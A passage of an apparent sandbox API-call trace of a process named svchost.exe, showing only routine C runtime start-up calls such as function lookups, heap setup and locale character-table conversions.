lpProcName="GetEnvironmentStringsW") returned 0x76d451e3 [0111.535] GetProcAddress (hModule=0x76d30000, lpProcName="FreeEnvironmentStringsW") returned 0x76d451cb [0111.536] GetProcAddress (hModule=0x76d30000, lpProcName="GetLocaleInfoA") returned 0x76d5d5e5 [0111.536] GetProcAddress (hModule=0x76d30000, lpProcName="FreeEnvironmentStringsA") returned 0x76d4e349 [0111.536] GetProcAddress (hModule=0x76d30000, lpProcName="LCMapStringW") returned 0x76d417b9 [0111.536] GetProcAddress (hModule=0x76d30000, lpProcName="LCMapStringA") returned 0x76d6bc39 [0111.537] GetProcAddress (hModule=0x76d30000, lpProcName="GetProcessHeap") returned 0x76d414e9 [0111.537] GetProcAddress (hModule=0x76d30000, lpProcName="SetEndOfFile") returned 0x76d5ce2e [0111.537] GetProcAddress (hModule=0x76d30000, lpProcName="GetCurrentDirectoryA") returned 0x76d6d4f6 [0111.538] GetProcAddress (hModule=0x76d30000, lpProcName="CompareStringA") returned 0x76d43c5a [0111.538] GetProcAddress (hModule=0x76d30000, lpProcName="CompareStringW") returned 0x76d43bca [0111.538] GetProcAddress (hModule=0x76d30000, lpProcName="HeapSize") returned 0x77c73002 [0111.539] GetProcAddress (hModule=0x76d30000, lpProcName="SetEnvironmentVariableA") returned 0x76d4e331 [0111.539] GetProcAddress (hModule=0x76d30000, lpProcName="CreateFileW") returned 0x76d43f5c [0111.539] GetProcAddress (hModule=0x76d30000, lpProcName="GetEnvironmentStrings") returned 0x76d4e361 [0111.539] GetProcAddress (hModule=0x76d30000, lpProcName="WideCharToMultiByte") returned 0x76d4170d [0111.540] GetProcAddress (hModule=0x76d30000, lpProcName="GetFullPathNameA") returned 0x76d4e2c1 [0111.540] GetProcAddress (hModule=0x76d30000, lpProcName="FlushFileBuffers") returned 0x76d4469b [0111.540] GetProcAddress (hModule=0x76d30000, lpProcName="RtlUnwind") returned 0x76d6d1c3 [0111.541] GetProcAddress (hModule=0x76d30000, lpProcName="WriteConsoleW") returned 0x76d67aca [0111.541] GetProcAddress (hModule=0x76d30000, lpProcName="GetConsoleOutputCP") returned 0x76d59b0f [0111.541] GetProcAddress (hModule=0x76d30000, lpProcName="WriteConsoleA") returned 0x76d412fc [0111.541] GetProcAddress (hModule=0x76d30000, lpProcName="ExitProcess") returned 0x76d47a10 [0111.542] GetProcAddress (hModule=0x76d30000, lpProcName="GetProcAddress") returned 0x76d41222 [0111.542] GetProcAddress (hModule=0x76d30000, lpProcName="GetModuleHandleA") returned 0x76d41245 [0111.542] GetProcAddress (hModule=0x76d30000, lpProcName="GetCurrentThreadId") returned 0x76d41450 [0111.542] GetProcAddress (hModule=0x76d30000, lpProcName="GetLastError") returned 0x76d411c0 [0111.543] GetProcAddress (hModule=0x76d30000, lpProcName="GetVersion") returned 0x76d44467 [0111.543] GetProcAddress (hModule=0x76d30000, lpProcName="WriteFile") returned 0x76d41282 [0111.543] GetProcAddress (hModule=0x76d30000, lpProcName="GetFileType") returned 0x76d43531 [0111.544] GetProcAddress (hModule=0x76d30000, lpProcName="GetStdHandle") returned 0x76d451b3 [0111.544] GetProcAddress (hModule=0x76d30000, lpProcName="FindNextFileA") returned 0x76d6d53e [0111.544] GetProcAddress (hModule=0x76d30000, lpProcName="FindFirstFileA") returned 0x76d4e2ce [0111.545] GetProcAddress (hModule=0x76d30000, lpProcName="FindClose") returned 0x76d44442 [0111.545] GetProcAddress (hModule=0x76d30000, lpProcName="FreeLibrary") returned 0x76d434c8 [0111.545] GetProcAddress (hModule=0x76d30000, lpProcName="LoadLibraryA") returned 0x76d449d7 [0111.546] GetProcAddress (hModule=0x76d30000, lpProcName="CloseHandle") returned 0x76d41410 [0111.546] GetProcAddress (hModule=0x76d30000, lpProcName="SetLastError") returned 0x76d411a9 [0111.546] GetProcAddress (hModule=0x76d30000, lpProcName="MultiByteToWideChar") returned 0x76d4192e [0111.547] GetProcAddress (hModule=0x76d30000, lpProcName="SystemTimeToFileTime") returned 0x76d45a7e [0111.547] GetProcAddress (hModule=0x76d30000, lpProcName="GetSystemTime") returned 0x76d45a96 [0111.547] GetProcAddress (hModule=0x76d30000, lpProcName="GetTickCount") returned 0x76d4110c [0111.547] GetProcAddress (hModule=0x76d30000, lpProcName="QueryPerformanceCounter") returned 0x76d41725 [0111.548] GetProcAddress (hModule=0x76d30000, lpProcName="GetCurrentProcessId") returned 0x76d411f8 [0111.548] GetProcAddress (hModule=0x76d30000, lpProcName="GlobalMemoryStatus") returned 0x76d48b6d [0111.548] GetProcAddress (hModule=0x76d30000, lpProcName="FlushConsoleInputBuffer") returned 0x76de7a9f [0111.548] GetProcAddress (hModule=0x76d30000, lpProcName="GetModuleHandleW") returned 0x76d434b0 [0111.549] GetProcAddress (hModule=0x76d30000, lpProcName="Sleep") returned 0x76d410ff [0111.549] GetProcAddress (hModule=0x76d30000, lpProcName="SetConsoleCtrlHandler") returned 0x76d48a09 [0111.549] GetProcAddress (hModule=0x76d30000, lpProcName="EnterCriticalSection") returned 0x77c622b0 [0111.549] GetProcAddress (hModule=0x76d30000, lpProcName="LeaveCriticalSection") returned 0x77c62270 [0111.550] GetProcAddress (hModule=0x76d30000, lpProcName="HeapFree") returned 0x76d414c9 [0111.550] GetProcAddress (hModule=0x76d30000, lpProcName="HeapReAlloc") returned 0x77c81f6e [0111.550] GetProcAddress (hModule=0x76d30000, lpProcName="HeapAlloc") returned 0x77c6e026 [0111.550] GetProcAddress (hModule=0x76d30000, lpProcName="GetSystemTimeAsFileTime") returned 0x76d43509 [0111.551] GetProcAddress (hModule=0x76d30000, lpProcName="ReadFile") returned 0x76d43ed3 [0111.551] GetProcAddress (hModule=0x76d30000, lpProcName="GetConsoleCP") returned 0x76de7bff [0111.551] GetProcAddress (hModule=0x76d30000, lpProcName="GetConsoleMode") returned 0x76d41328 [0111.551] GetProcAddress (hModule=0x76d30000, lpProcName="FileTimeToSystemTime") returned 0x76d4542c [0111.552] GetProcAddress (hModule=0x76d30000, lpProcName="FileTimeToLocalFileTime") returned 0x76d4e29e [0111.552] GetProcAddress (hModule=0x76d30000, lpProcName="GetDriveTypeA") returned 0x76d5ef75 [0111.552] GetProcAddress (hModule=0x76d30000, lpProcName="SetFileAttributesA") returned 0x76d5ecd3 [0111.552] GetProcAddress (hModule=0x76d30000, lpProcName="GetFileAttributesA") returned 0x76d45414 [0111.553] GetProcAddress (hModule=0x76d30000, lpProcName="CreateFileA") returned 0x76d453c6 [0111.553] GetProcAddress (hModule=0x76d30000, lpProcName="ReadConsoleInputA") returned 0x76de6f53 [0111.554] GetProcAddress (hModule=0x76d30000, lpProcName="SetConsoleMode") returned 0x76d5a77d [0111.554] GetProcAddress (hModule=0x76d30000, lpProcName="GetCommandLineA") returned 0x76d451a1 [0111.554] GetProcAddress (hModule=0x76d30000, lpProcName="TerminateProcess") returned 0x76d5d802 [0111.555] GetProcAddress (hModule=0x76d30000, lpProcName="GetCurrentProcess") returned 0x76d41809 [0111.555] GetProcAddress (hModule=0x76d30000, lpProcName="UnhandledExceptionFilter") returned 0x76d6772f [0111.555] GetProcAddress (hModule=0x76d30000, lpProcName="SetUnhandledExceptionFilter") returned 0x76d487c9 [0111.555] GetProcAddress (hModule=0x76d30000, lpProcName="IsDebuggerPresent") returned 0x76d44a5d [0111.556] GetProcAddress (hModule=0x76d30000, lpProcName="GetCPInfo") returned 0x76d45189 [0111.556] GetProcAddress (hModule=0x76d30000, lpProcName="InterlockedIncrement") returned 0x76d41400 [0111.556] GetProcAddress (hModule=0x76d30000, lpProcName="InterlockedDecrement") returned 0x76d413f0 [0111.557] GetProcAddress (hModule=0x76d30000, lpProcName="GetACP") returned 0x76d4179c [0111.557] GetProcAddress (hModule=0x76d30000, lpProcName="GetOEMCP") returned 0x76d6d1a1 [0111.557] GetProcAddress (hModule=0x76d30000, lpProcName="IsValidCodePage") returned 0x76d44493 [0111.558] GetProcAddress (hModule=0x76d30000, lpProcName="TlsGetValue") returned 0x76d411e0 [0111.558] GetProcAddress (hModule=0x76d30000, lpProcName="TlsAlloc") returned 0x76d449ad [0111.558] GetProcAddress (hModule=0x76d30000, lpProcName="TlsSetValue") returned 0x76d414fb [0111.558] GetProcAddress (hModule=0x76d30000, lpProcName="TlsFree") returned 0x76d43587 [0111.559] GetProcAddress (hModule=0x76d30000, lpProcName="DeleteCriticalSection") returned 0x77c745f5 [0111.559] GetProcAddress (hModule=0x76d30000, lpProcName="GetModuleFileNameA") returned 0x76d414b1 [0111.559] GetProcAddress (hModule=0x76d30000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76d41916 [0111.560] GetProcAddress (hModule=0x76d30000, lpProcName="SetHandleCount") returned 0x76d4cb29 [0111.560] GetProcAddress (hModule=0x76d30000, lpProcName="GetStartupInfoA") returned 0x76d40e00 [0111.560] GetProcAddress (hModule=0x76d30000, lpProcName="HeapCreate") returned 0x76d44a2d [0111.560] GetProcAddress (hModule=0x76d30000, lpProcName="HeapDestroy") returned 0x76d435b7 [0111.561] GetProcAddress (hModule=0x76d30000, lpProcName="VirtualFree") returned 0x76d4186e [0111.561] GetProcAddress (hModule=0x76d30000, lpProcName="VirtualAlloc") returned 0x76d41856 [0111.561] GetProcAddress (hModule=0x76d30000, lpProcName="GetTimeZoneInformation") returned 0x76d4465a [0111.562] GetProcAddress (hModule=0x76d30000, lpProcName="SetFilePointer") returned 0x76d417d1 [0111.562] GetProcAddress (hModule=0x76d30000, lpProcName="SetStdHandle") returned 0x76dc454f [0111.563] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18f740 | out: lpSystemTimeAsFileTime=0x18f740*(dwLowDateTime=0x93960de0, dwHighDateTime=0x1d60051)) [0111.564] GetCurrentProcessId () returned 0xb7c [0111.564] GetCurrentThreadId () returned 0x9fc [0111.564] GetTickCount () returned 0x114ebc6 [0111.564] QueryPerformanceCounter (in: lpPerformanceCount=0x18f738 | out: lpPerformanceCount=0x18f738*=23149804080) returned 1 [0111.715] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0x2a0000 [0111.804] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76d30000 [0111.805] GetProcAddress (hModule=0x76d30000, lpProcName="FlsAlloc") returned 0x76d44f2b [0111.805] GetProcAddress (hModule=0x76d30000, lpProcName="FlsGetValue") returned 0x76d41252 [0111.805] GetProcAddress (hModule=0x76d30000, lpProcName="FlsSetValue") returned 0x76d44208 [0111.806] GetProcAddress (hModule=0x76d30000, lpProcName="FlsFree") returned 0x76d4359f [0111.816] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76d30000 [0111.816] GetProcAddress (hModule=0x76d30000, lpProcName="EncodePointer") returned 0x77c80fcb [0111.900] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76d30000 [0111.901] GetProcAddress (hModule=0x76d30000, lpProcName="EncodePointer") returned 0x77c80fcb [0111.901] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76d30000 [0111.901] GetProcAddress (hModule=0x76d30000, lpProcName="EncodePointer") returned 0x77c80fcb [0111.902] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76d30000 [0111.902] GetProcAddress (hModule=0x76d30000, lpProcName="EncodePointer") returned 0x77c80fcb [0111.903] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76d30000 [0111.903] GetProcAddress (hModule=0x76d30000, lpProcName="EncodePointer") returned 0x77c80fcb [0111.903] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76d30000 [0111.904] GetProcAddress (hModule=0x76d30000, lpProcName="EncodePointer") returned 0x77c80fcb [0111.904] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76d30000 [0111.904] GetProcAddress (hModule=0x76d30000, lpProcName="EncodePointer") returned 0x77c80fcb [0111.917] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76d30000 [0111.918] GetProcAddress (hModule=0x76d30000, lpProcName="DecodePointer") returned 0x77c79d35 [0111.927] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x214) returned 0x2a07d0 [0111.928] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76d30000 [0111.928] GetProcAddress (hModule=0x76d30000, lpProcName="DecodePointer") returned 0x77c79d35 [0111.929] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76d30000 [0111.929] GetProcAddress (hModule=0x76d30000, lpProcName="EncodePointer") returned 0x77c80fcb [0111.929] GetProcAddress (hModule=0x76d30000, lpProcName="DecodePointer") returned 0x77c79d35 [0111.929] GetCurrentThreadId () returned 0x9fc [0111.938] GetCommandLineA () returned="C:\\Windows\\svchost.exe" [0111.938] GetEnvironmentStringsW () returned 0x2d1c68* [0111.938] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="=C:=C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", cchWideChar=1435, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1435 [0112.006] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x59b) returned 0x2a09f0 [0112.006] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="=C:=C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", cchWideChar=1435, lpMultiByteStr=0x2a09f0, cbMultiByte=1435, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="=C:=C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpUsedDefaultChar=0x0) returned 1435 [0112.006] FreeEnvironmentStringsW (penv=0x2d1c68) returned 1 [0112.007] GetStartupInfoA (in: lpStartupInfo=0x18f690 | out: lpStartupInfo=0x18f690*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\svchost.exe", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0112.007] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x800) returned 0x2a0f98 [0112.008] GetStdHandle (nStdHandle=0xfffffff6) returned 0x3 [0112.008] GetFileType (hFile=0x3) returned 0x0 [0112.008] GetStdHandle (nStdHandle=0xfffffff5) returned 0x1fc [0112.008] GetFileType (hFile=0x1fc) returned 0x3 [0112.009] GetStdHandle (nStdHandle=0xfffffff4) returned 0x204 [0112.009] GetFileType (hFile=0x204) returned 0x3 [0112.009] SetHandleCount (uNumber=0x20) returned 0x20 [0112.009] GetLastError () returned 0x6 [0112.009] SetLastError (dwErrCode=0x6) [0112.009] GetLastError () returned 0x6 [0112.009] SetLastError (dwErrCode=0x6) [0112.009] GetLastError () returned 0x6 [0112.009] SetLastError (dwErrCode=0x6) [0112.010] GetACP () returned 0x4e4 [0112.010] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x220) returned 0x2a17a0 [0112.010] GetLastError () returned 0x6 [0112.010] SetLastError (dwErrCode=0x6) [0112.010] IsValidCodePage (CodePage=0x4e4) returned 1 [0112.010] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f670 | out: lpCPInfo=0x18f670) returned 1 [0112.010] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f13c | out: lpCPInfo=0x18f13c) returned 1 [0112.010] GetLastError () returned 0x6 [0112.010] SetLastError (dwErrCode=0x6) [0112.010] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr="", cchSrc=1, lpCharType=0x18f0cc | out: lpCharType=0x18f0cc) returned 1 [0112.010] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f550, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0112.010] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f550, cbMultiByte=256, lpWideCharStr=0x18eeb8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ䶬ꕅㅠᄎĀ") returned 256 [0112.011] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ䶬ꕅㅠᄎĀ", cchSrc=256, lpCharType=0x18f150 | out: lpCharType=0x18f150) returned 1 [0112.011] GetLastError () returned 0x6 [0112.011] SetLastError (dwErrCode=0x6) [0112.011] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr="", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0112.011] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f550, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0112.011] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f550, cbMultiByte=256, lpWideCharStr=0x18ee88, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ↩ᄎĀ") returned 256 [0112.011] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ↩ᄎĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0112.011] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ↩ᄎĀ", cchSrc=256, lpDestStr=0x18ec78, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0112.011] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchWideChar=256, lpMultiByteStr=0x18f450, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ\x96è\x99ð\x88ö\x18", lpUsedDefaultChar=0x0) returned 256 [0112.012] GetLastError () returned 0x6 [0112.012] SetLastError (dwErrCode=0x6) [0112.012] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f550, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0112.012] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f550, cbMultiByte=256, lpWideCharStr=0x18eea8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ↩ᄎĀ") returned 256 [0112.012] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ↩ᄎĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0112.012] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ↩ᄎĀ", cchSrc=256, lpDestStr=0x18ec98, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ") returned 256 [0112.012] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f 